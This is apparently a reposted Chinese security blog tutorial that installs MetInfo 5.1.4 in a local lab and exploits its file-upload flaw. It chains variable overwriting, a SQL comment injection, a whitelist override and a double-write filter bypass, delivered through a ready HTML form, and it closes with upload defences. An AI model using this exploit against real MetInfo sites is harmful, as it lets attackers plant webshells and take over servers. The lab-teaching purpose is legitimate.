弄了半天,修改过,windows下的temp文件,也修改过Php.ini临时文件的内容,还有替换过文件,修改过文件的各种权限。。。等等一大堆。。。后来发现,没有写权限,根本不影响。。。。气哭~~
 

好了,废话不多少了,先给源码地址。点我下载 (访问密码:ELiBpz)
如果有下图这个文件,先把它删除。否则会无法安装,这是一个确认是否安装的文件。

《054 webshell介绍与文件上传漏洞》

你下载之后,把下图红框中,没有副本的三组文件,剪切出去,自己存一个地方,然后重命名把【 – 副本】去掉。还原文件名。
《054 webshell介绍与文件上传漏洞》

metinfo安装:
环境需求:
phpstudy

把下载好的metinfo压缩包,解压后放到phpstudy的www目录下。
浏览器访问,访问地址最好不要写localhost或者127.0.0.1,因为,我们在用brup抓包的时候,这两个地址是不会进行抓包的,可以直接写IP地址。

《054 webshell介绍与文件上传漏洞》
同意安装

下图这是我之前少文件的安装,5.1.4版本的不会有下图这种情况。
《054 webshell介绍与文件上传漏洞》
若是出现:
《054 webshell介绍与文件上传漏洞》

这是正常的:
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》

《054 webshell介绍与文件上传漏洞》
点击进入网页:
《054 webshell介绍与文件上传漏洞》

到此,安装好了,
接下来学习这个网站的文件上传漏洞:

进入D:\phpStudy\WWW\MetInfo5.1.4\admin\include目录下,先把文件内容进行备份
《054 webshell介绍与文件上传漏洞》

造成这个漏洞的原因就是:变量覆盖漏洞

《054 webshell介绍与文件上传漏洞》
理解:

	<?php
		$name="HELLOWORLD";
		//?name=xxx&pass=123
		foreach($_GET as $key=>$val){ 
			$$key=$val;		//$name=xxx;
		}
		var_dump($name);
	?>
通过变量覆盖漏洞,可以修改web应用的参数。

我们访问http://192.168.49.13/MetInfo5.1.4/admin/include/uploadify.php
《054 webshell介绍与文件上传漏洞》
为什么上传失败?
打开uploadify.php
《054 webshell介绍与文件上传漏洞》
显示上传失败,那么就猜测$lang_uplaoderr1有可能是上传失败。
我们可以在echo $lang_uplaoderr1;这一行下面写个echo "<hr />";进行验证。
《054 webshell介绍与文件上传漏洞》
有下划线,说明代码正在运行if里面的语句内容。而我们要想继续运行下去,就得让if语句不成立,所以我们就必须要让metinfo_admin_id和metinfo_admin_pass有值。
所以:
《054 webshell介绍与文件上传漏洞》
横线没有显示了,说明已经绕过了第一个if语句了。
继续看代码,此时进入下图中的红框内容:
《054 webshell介绍与文件上传漏洞》
发现一条SQL语句,由图中注释信息可知,在加入#(%23)注释符号,就会让后面的内容不起作用,前面就一定为真
《054 webshell介绍与文件上传漏洞》

输出0,没有提示上传失败

然后继续往下看代码,发现
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
继续
&met_file_format=jpg|php
《054 webshell介绍与文件上传漏洞》
发现上传文件白名单被修改了
《054 webshell介绍与文件上传漏洞》
那么在upfile.class.php中
《054 webshell介绍与文件上传漏洞》

此时,我们在桌面写一个html文件
代码如下:

<form enctype="multipart/form-data" method="post" action="http://192.168.49.13/MetInfo5.1.4/admin/include/uploadify.php ?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|php" >
	<input type="file" name="Filedata">
	<input type="submit" name="submit" value="submit">
</form>

再写一个info.php文件

<?php
phpinfo();
?>

《054 webshell介绍与文件上传漏洞》
submit提交
《054 webshell介绍与文件上传漏洞》
这就奇怪了,明明前面设置了上传文件类型有php呀,怎么不允许呢?
在upfile.class.php中:
《054 webshell介绍与文件上传漏洞》
做了php过滤,这里我们采用 双写绕过
test.html文件做如下修改:

<form enctype="multipart/form-data" method="post" action="http://192.168.49.13/MetInfo5.1.4/admin/include/uploadify.php ?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp" >
	<input type="file" name="Filedata">
	<input type="submit" name="submit" value="submit">
</form>

《054 webshell介绍与文件上传漏洞》
复制地址到浏览器
《054 webshell介绍与文件上传漏洞》
文件上传成功

OKOK 实验终于成功了。。。

 

九:文件上传漏洞的防御

关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片马中的恶意代码,如果一个web应用能够上传图片木马,那么我们认为这个web应用是不安全的。
文件上传漏洞的防御主要从以下几个方面考虑。

	代码角度:
		采用白名单策略,严格限制上传文件的后缀名。
		进行二次渲染,过滤掉图片马中的恶意代码。
		上传文件重命名,尽量少的从客户端获取信息。
		避免文件包含漏洞

当然还有可以给文件设置权限(读写执行)等等。。

    原文作者:入狱计划进度50%
    原文地址: https://blog.csdn.net/qq_34555653/article/details/123420146
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞